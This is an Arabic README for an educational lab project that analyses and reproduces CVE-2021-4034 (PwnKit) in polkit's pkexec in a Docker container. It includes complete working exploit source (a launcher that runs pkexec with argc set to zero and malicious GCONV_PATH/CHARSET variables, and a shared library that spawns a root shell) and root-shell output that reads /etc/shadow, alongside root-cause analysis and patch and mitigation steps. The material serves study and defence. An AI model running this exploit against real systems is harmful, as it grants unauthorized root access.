
إثبات مفهوم تعليمي وتحليل لـ CVE-2021-4034 (PwnKit) ثغرة تصعيد الامتيازات المحلية في pkexec الخاص بـ polkit، مع معمل قائم على Docker للممارسة العملية للاستغلال والدفاع.
🔗 المشروع الأصلي: berdav/CVE-2021-4034
هذا المشروع هو نسخة معدلة ومحللة بناءً على الأصل لأغراض تعليمية.
وفقًا لرخصة MIT | مهمة تعليمية من مدرسة White Hat
CVE-2021-4034 هي ثغرة لتصعيد الامتيازات المحلية في policykit-1 (PolicyKit) في لينكس. يمكن للمستخدم العادي تنفيذ pkexec بدون وسائط، مستغلاً ثغرات في بنية ذاكرة العملية، مما يتسبب في إرجاع glib لمرجعية سلاسل متغيرات البيئة التي كان يجب تصفيتها، وبالتالي تحميل ملف .so خبيث للحصول على امتيازات الجذر (root).
⚠️ للاستخدام التعليمي فقط: يجب استخدام هذا الكود فقط على أنظمة معدلة.
قد يؤدي استخدامه في مهاجمة أنظمة حقيقية إلى مسؤولية قانونية.
| العنصر | المحتوى |
|---|---|
| معرف CVE | CVE-2021-4034 |
| اسم الثغرة | PwnKit |
| الإصدارات المتأثرة | إصدارات polkit قبل التصحيح 0.105 (بيئة الاختبار: Ubuntu 20.04 مع policykit-1 0.105-26ubuntu1) |
| نوع الثغرة | تصعيد الامتيازات المحلية (LPE) |
| الخطورة | حرجة (CVSS 7.8) |
| الإصدار المُصحَّح | policykit-1 >= 0.105-26ubuntu1.1 |
| تاريخ الاكتشاف | يونيو 2021 (تم الكشف عنها في يناير 2022) |
من السهل الاعتقاد أن هذه مشكلة في Ubuntu فقط، ولكن نظرًا لأنها عيب منطقي في pkexec نفسه، فإن معظم توزيعات لينكس التي تستخدم polkit تتأثر. بيئة اختبار Docker كانت Ubuntu 20.04، لذا تم ذكر ذلك في الجدول.
عند التحليل الأولي، اعتقدت أن المشكلة ناتجة عن عدم التحقق من متغيرات البيئة، ولكن عند مراجعة الكود المصدري وcommits الخاصة بالتصحيح، تبين أن الترتيب مختلف قليلاً. السبب الحقيقي مختلف، ومشكلة متغيرات البيئة هي نتيجة ثانوية لذلك السبب. فيما يلي ترتيب الأسباب.
pkexec هو برنامج SUID-root يُستخدم لـ طلب رفع الامتيازات عبر PolicyKit.
# مثال: تنفيذ أمر بصلاحيات الجذر
pkexec /bin/id
pkexec systemctl restart service
يُستخدم عندما يحتاج المستخدم العادي لتنفيذ مهمة معينة بصلاحيات المسؤول.
argc == 0في دالة main() لبرنامج pkexec، عند معالجة وسائط سطر الأوامر، لا يتم التحقق من حالة تنفيذ البرنامج بدون أي وسائط (argc == 0). هذه هي نقطة البداية الحقيقية لهذه الثغرة.
argv = {"pkexec", "command", NULL} → argc >= 1execve("/usr/bin/pkexec", {NULL}, env) → argc == 0عندما تكون argc صفرًا، تبقى قائمة argv تحتوي فقط على مؤشر NULL واحد للدلالة على النهاية. ولكن المنطق الداخلي لـ pkexec يحاول القراءة والكتابة إلى argv[1] الغير موجود. المشكلة أن لينكس عند تنفيذ عملية ما، يضع مصفوفة argv ومصفوفة envp (متغيرات البيئة) ملاصقتين جانبًا لبعضهما في الذاكرة. وبالتالي فإن argv[1] خارج النطاق يشير في الواقع إلى envp[0]، أي أول متغير بيئة.
الوضع الطبيعي: argv = [ "pkexec" | NULL ]
الوضع الهجومي: argv = [ NULL ] ← argc = 0
↑
الوصول إلى argv[1] غير الموجود
↓
يؤدي إلى قراءة وكتابة envp[0] الموجود في الذاكرة مباشرةً (out-of-bounds)
لماذا هذا خطير:
GCONV_PATH وLD_PRELOAD قبل تنفيذ برنامج SUID (pkexec) لأنها غير آمنة.argc < 1. (يتوافق مع CWE-125 (قراءة خارج النطاق) و CWE-787 (كتابة خارج النطاق))📌 باختصار: عدم التحقق من متغيرات البيئة هو "شرط نجاح الهجوم"، والسبب الجذري الحقيقي هو أن pkexec لا يعالج حالة argc == 0. النقطة 3 أدناه هي نتيجة ثانوية لهذا السبب.
بسبب سلوك OOB الموصوف في النقطة 2، أثناء تهيئة pkexec لـ glib، يتم استخدام هذه السلاسل بدون تحقق مرة أخرى.
// CVE-2021-4034_exploit.c
char * const env[] = {
"GCONV_PATH=.", // كان يجب على ld.so تصفية هذا
"CHARSET=PWNKIT", // ترميز غير موجود
};
execve("/usr/bin/pkexec", args, env); // argv فارغ لإنشاء argc=0
المشكلة:
النقطة المهمة هنا أن glib نفسه ليس مخطئًا. إذا تم تعيين GCONV_PATH، فمن الطبيعي أن يبحث glib عن المحول (converter) في ذلك المسار - هذا هو السلوك الطبيعي لـ glib. المشكلة تكمن في أن pkexec قد كسر بالفعل حالة التنفيذ الآمن (حيث تمت إزالة متغيرات البيئة الخطيرة) - glib فقط يعمل بشكل طبيعي، ولكن هذا السلوك الطبيعي يُستغل.
التحقق من متغير البيئة CHARSET
CHARSET=PWNKIT
البحث عن تعريف المحول في ملف gconv-modules
module UTF-8// PWNKIT// pwnkit 1
تحميل ملف .so من مسار GCONV_PATH
GCONV_PATH=. → البحث عن pwnkit.so في الدليل الحالي
التنفيذ التلقائي لدالة التهيئة لملف .so
// pwnkit.c - تُنفذ تلقائيًا عند تحميل ملف .so
void gconv_init(void *step)
{
setuid(0); // الحصول على صلاحيات الجذر
setgid(0);
execve("/bin/sh"); // تشغيل شل الجذر!
}
من السهل تسمية gconv_init بـ "دالة المُنشئ" (constructor function)، ولكن بالمعنى الدقيق، هي تختلف عن __attribute__((constructor)) في لغة C. بشكل دقيق، إنها دالة تهيئة محددة بواجهة وحدة gconv، ويقوم glib باستدعائها صراحةً بعد تحميل ملف .so بواسطة dlopen.
┌─────────────────────────────────────┐
│ مستخدم عادي (uid=1000) │
└─────────────────────────────────────┘
│
│ 1. تنفيذ pkexec بمصفوفة argv فارغة (argc=0)
│ + تعيين متغيرات بيئة خبيثة
│ GCONV_PATH=. / CHARSET=PWNKIT
↓
┌─────────────────────────────────────┐
│ تنفيذ pkexec │
│ لا يوجد تحقق من argc → OOB → إعادة الإشارة للسلاسل │
└─────────────────────────────────────┘
│
│ 2. glib يعالج بشكل طبيعي
│ البحث عن ترميز CHARSET=PWNKIT
│ البحث عن المحول في GCONV_PATH=.
↓
┌─────────────────────────────────────┐
│ تحميل pwnkit.so │
│ (ملف .so الخبيث في الدليل الحالي) │
└─────────────────────────────────────┘
│
│ 3. تنفيذ دالة تهيئة gconv تلقائيًا (بصلاحيات الجذر!)
↓
┌─────────────────────────────────────┐
│ الحصول على شل الجذر ✅ │
│ uid=0(root) gid=0(root) │
└─────────────────────────────────────┘
# 1. تحميل المشروع
git clone https://github.com/krleejihyeong/WHS4_CVE-2021-4034.git
cd WHS4_CVE-2021-4034
# 2. التحقق من أحدث إصدار
git pull origin main
# 3. البناء (بدون استخدام cache)
docker compose build --no-cache
# 4. التنفيذ
docker compose up
يُوصى باستخدام docker system prune -a --volumes --force فقط إذا لم تعمل الطريقة أعلاه بسبب مشاكل في cache أو volume. هذا الأمر عدواني إلى حد ما، حيث يمسح كل Docker cache في النظام وقد يؤدي إلى فقدان cache مشاريع أخرى. تم توثيق المشكلات التي واجهتها وطرق حلها أدناه في قسم "المشكلات التي واجهتها وطرق حلها".
pwnkit | الصلاحيات الحالية (قبل الهجوم): uid=1000(WHS4_student)
pwnkit | # id
pwnkit | uid=0(root) gid=0(root) groups=0(root) ← نجاح! ✅

WHS4_CVE-2021-4034/
├── docker-compose.yml # إعداد Docker Compose
├── Dockerfile # بيئة Ubuntu 20.04 المعرضة للخطر
├── start.sh # تهيئة الحاوية وتنفيذ تلقائي
├── Makefile # إعدادات البناء
├── CVE-2021-4034_exploit.c # كود الاستغلال (استدعاء pkexec)
├── pwnkit.c # ملف .so خبيث (تصعيد الامتيازات)
├── gconv-modules # تعيين محول glib
├── README.md # هذا الملف
└── LICENSE # رخصة MIT
#include <unistd.h>
int main(int argc, char *argv[])
{
// عدم تحديد برنامج لتنفيذه بواسطة pkexec
// (تحتوي args فقط على NULL) → هذا ما يجعل argc=0
char * const args[] = {
NULL
};
// 🔴 متغيرات بيئة خبيثة غير مدققة
// بفضل OOB الناتج عن argc=0، تصبح قابلة للإشارة إليها مرة أخرى وتنتقل مباشرة إلى pkexec
char * const env[] = {
"GCONV_PATH=.", // مسار المحول (الدليل الحالي)
"CHARSET=PWNKIT", // ترميز غير موجود
"SHELL=/bin/sh",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
NULL
};
// تنفيذ pkexec (بدون وسائط → يؤدي إلى argc=0)
execve("/usr/bin/pkexec", args, env);
return 0;
}
الجوهر:
pkexec نفسه في args، مما يجعل argc يساوي 0 → تشغيل السبب الجذري (عدم التحقق من argc)GCONV_PATH=. : بعد أن أصبحت قابلة للإشارة إليها مرة أخرى بفضل OOB، يبحث glib عن المحول في هذا المسارCHARSET=PWNKIT : دفع glib للبحث عن محول لهذا الترميز#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// دالة ضرورية لتعريف ملف .so كمحول (شكلية)
void gconv()
{
}
// 🎯 جوهر CVE-2021-4034
// دالة تهيئة يستدعيها glib صراحةً بعد dlopen عند تحميل ملف .so
// يتم تنفيذ هذه الدالة بصلاحيات الجذر! ← جوهر الثغرة!
void gconv_init(void *step)
{
char * const args[] = {
"/bin/sh", // تشغيل شل الجذر
NULL
};
char * const env[] = {
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
NULL
};
// تعيين صلاحيات الجذر بشكل صريح (بالفعل هو جذر)
setuid(0);
setgid(0);
// تشغيل شل الجذر ← نجاح تصعيد الامتيازات!
execve(args[0], args, env);
exit(0);
}
الجوهر:
gconv_init() ليست دالة constructor بـ attribute((constructor))، بل هي دالة تهيئة وفقًا لمواصفات واجهة وحدة gconv، حيث يستدعيها glib مباشرةً بعد dlopen.setuid(0) ثم شل، يتم الحصول على شل الجذر مباشرةً.$ id
uid=1000(WHS4_student) gid=1000(WHS4_student) groups=1000(WHS4_student),27(sudo)
$ cat /etc/shadow
cat: /etc/shadow: Permission denied

هذه اللقطة تُظهر أول مرة نجح فيها الاستغلال، وتظهر صلاحيات المستخدم.
$ ./CVE-2021-4034_exploit
ملاحظة: الاستغلال لا يتطلب sudo. لأن pkexec هو ثنائي SUID-root بالفعل، لذا مجرد صلاحيات المستخدم العادي تكفي للحصول على شل الجذر - وهذا جوهر الثغرة. استخدام
sudo -Eفي بيئة Docker الاختبارية كان فقط لتسهيل التنفيذ عن طريق التأكد من إعداد NOPASSWD، ولا علاقة له بالثغرة نفسها.
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /etc/shadow
root:*:18783:0:99999:7:::
daemon:*:18783:0:99999:7:::
... (محتوى لا يراه إلا الجذر)

توضح اللقطة الحصول على صلاحيات الجذر بعد الهجوم.
لمشاهدة الفرق الكامل بين قبل وبعد الهجوم، يُنصح بإلقاء نظرة على الصورة في قسم ### الصلاحيات الفعلية قبل الهجوم أعلاه.
✅ نجاح تصعيد الامتيازات!
تم إعادة إنتاج الثغرة بنجاح في بيئة Docker على Ubuntu 20.04 (policykit-1 0.105-26ubuntu1). لم يتم إجراء عدد كبير من الاختبارات المتكررة بعد، لكنني أخطط لإجراء المزيد من الاختبارات على إصدارات مختلفة من النواة والتوزيعات لتأكيد النتائج.
# 1. ترقية التصحيح (مُوصى به)
sudo apt-get update
sudo apt-get install policykit-1=0.105-26ubuntu1.1
# التحقق من الإصدار
dpkg -l | grep policykit-1
# يجب أن يكون 0.105-26ubuntu1.1 أو أعلى
# تعديل /etc/sudoers (باستخدام sudo visudo)
Defaults env_delete = "GCONV_PATH,GCONV_MODULES,CHARSET"
unset GCONV_PATH
unset GCONV_MODULES
unset CHARSET
التصحيح هو الحل الجذري، والطريقتان أعلاه مؤقتتان لحين تطبيق التصحيح. مشكلة التحقق من argc نفسها تتطلب تعديل كود pkexec، لذلك لا يمكن حلها بالكامل بمجرد حظر متغيرات البيئة.
docker-composeالسبب: Ubuntu 24.04 لا يتضمن docker-compose (الإصدار 1)، بل docker compose (الإصدار 2)
الحل:
# استخدام أمر docker compose (الإصدار 2)
docker compose up
السبب: إعداد NOPASSWD في Dockerfile لم يُطبق بشكل صحيح (مشكلة cache في Docker)
الحل:
docker compose build --no-cache
docker compose up
إذا استمرت المشكلة، امسح cache بالكامل وحاول مرة أخرى.
docker compose down -v
docker system prune -a --volumes --force
docker compose up --build --no-cache
السبب: بقاء الملفات المحلية على الإصدار القديم
الحل:
# سحب أحدث إصدار من GitHub
git pull origin main
# التحقق من الملفات
cat Dockerfile | grep NOPASSWD
cat start.sh | grep "nofork=false"
# إعادة البناء
docker compose up --build --no-cache
السبب: وجود حاوية سابقة
الحل:
# إزالة الحاوية
docker compose down
docker rm pwnkit -f
# إعادة التشغيل
docker compose up
السبب: صلاحيات الملفات التي تم إنشاؤها في Docker هي للمستخدم root
الحل:
# في WSL/Linux
sudo rm -rf WHS4_CVE-2021-4034
المؤلف: krleejihyeong
الأجزاء الجديدة/المعدلة:
هذا المشروع مرخص بموجب رخصة MIT.
Copyright (c) 2026 krleejihyeong (تعديل وتحليل)
Copyright (c) 2021 berdav (إثبات المفهوم الأصلي)
يُمنح الإذن، مجانًا، لأي شخص يحصل على نسخة
من هذا البرنامج وملفات الوثائق المرتبطة به ("البرنامج")، للتعامل
في البرنامج دون قيود، بما في ذلك على سبيل المثال لا الحصر حقوق
استخدام ونسخ وتعديل ودمج ونشر وتوزيع و/أو بيع
نسخ من البرنامج، والسماح للأشخاص الذين يتم تزويدهم بالبرنامج
بالقيام بذلك، مع مراعاة الشروط التالية:
يجب تضمين إشعار حقوق النشر أعلاه وإذن الإذن هذا في جميع
النسخ أو الأجزاء الجوهرية من البرنامج.
يتم توفير البرنامج "كما هو"، دون أي ضمان من أي نوع، صريح أو
ضمني، بما في ذلك على سبيل المثال لا الحصر ضمانات القابلية للتسويق،
الملاءمة لغرض معين وعدم الانتهاك.
للحصول على التفاصيل الكاملة، راجع ملف LICENSE.
تم إنشاء هذا المشروع لأغراض تعليمية بحتة فقط.
يمكن أن يؤدي الوصول غير المصرح به إلى أنظمة الكمبيوتر إلى عقوبات قانونية.
آخر تحديث: يوليو 2026